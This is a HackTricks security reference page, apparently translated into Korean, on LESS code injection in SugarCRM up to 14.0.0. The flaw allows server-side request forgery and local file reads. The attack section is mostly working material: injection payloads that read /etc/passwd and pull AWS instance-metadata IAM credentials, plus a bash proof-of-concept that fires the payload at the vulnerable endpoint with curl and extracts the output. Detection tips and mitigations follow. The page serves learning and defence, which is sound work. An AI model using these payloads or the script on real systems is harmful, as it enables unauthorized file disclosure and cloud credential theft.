LESS Code Injection leading to SSRF & Local File Read
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
LESS는 변수, 믹스인, 함수 및 강력한 @import
지시어를 추가하는 인기 있는 CSS 전처리기입니다. 컴파일 중에 LESS 엔진은 @import
문에서 참조된 리소스를 가져와서 (inline)
옵션이 사용될 때 결과 CSS에 그 내용을 포함("인라인")합니다.
응용 프로그램이 사용자 제어 입력을 LESS 컴파일러에 의해 나중에 구문 분석되는 문자열에 연결할 때, 공격자는 임의의 LESS 코드를 주입할 수 있습니다. @import (inline)
을 악용하여 공격자는 서버가 다음을 검색하도록 강제할 수 있습니다:
file://
프로토콜을 통한 로컬 파일 (정보 유출 / 로컬 파일 포함).- 내부 네트워크 또는 클라우드 메타데이터 서비스의 원격 리소스 (SSRF).
이 기술은 SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
엔드포인트)와 같은 실제 제품에서 발견되었습니다.
악용
- LESS 엔진에 의해 처리되는 스타일시트 문자열에 직접 포함된 매개변수를 식별합니다 (예: SugarCRM의
?lm=
). - 현재 문을 닫고 새로운 지시어를 주입합니다. 가장 일반적인 원시 요소는:
;
– 이전 선언을 종료합니다.}
– 이전 블록을 닫습니다 (필요한 경우).
@import (inline) '<URL>';
를 사용하여 임의의 리소스를 읽습니다.- 선택적으로 가져온 내용을 컴파일된 CSS에서 쉽게 추출할 수 있도록 가져오기 후에 마커 (
data:
URI)를 주입합니다.
로컬 파일 읽기
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd
의 내용은 @@END@@
마커 바로 앞에 HTTP 응답에 나타납니다.
SSRF – 클라우드 메타데이터
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
자동화된 PoC (SugarCRM 예제)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detection
- 동적으로 생성된
.less
또는.css
응답에서 비정제 쿼리 매개변수를 찾으십시오. - 코드 검토 중에
"@media all { .preview { ... ${userInput} ... } }"
와 같은 구문이 LESS 렌더 함수에 전달되는지 검색하십시오. - 익스플로잇 시도에는 종종
@import
,(inline)
,file://
,http://169.254.169.254
등이 포함됩니다.
Mitigations
- 신뢰할 수 없는 데이터를 LESS 컴파일러에 전달하지 마십시오.
- 동적 값이 필요한 경우, 적절하게 이스케이프/정화하십시오 (예: 숫자 토큰으로 제한, 화이트리스트).
- 가능할 경우
(inline)
임포트를 사용할 수 있는 기능을 비활성화하거나 허용된 프로토콜을https
로 제한하십시오. - 종속성을 최신 상태로 유지하십시오 – SugarCRM은 13.0.4 및 14.0.1 버전에서 이 문제를 패치했습니다.
Real-World Cases
Product | Vulnerable Endpoint | Impact |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 인증되지 않은 SSRF 및 로컬 파일 읽기 |
References
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.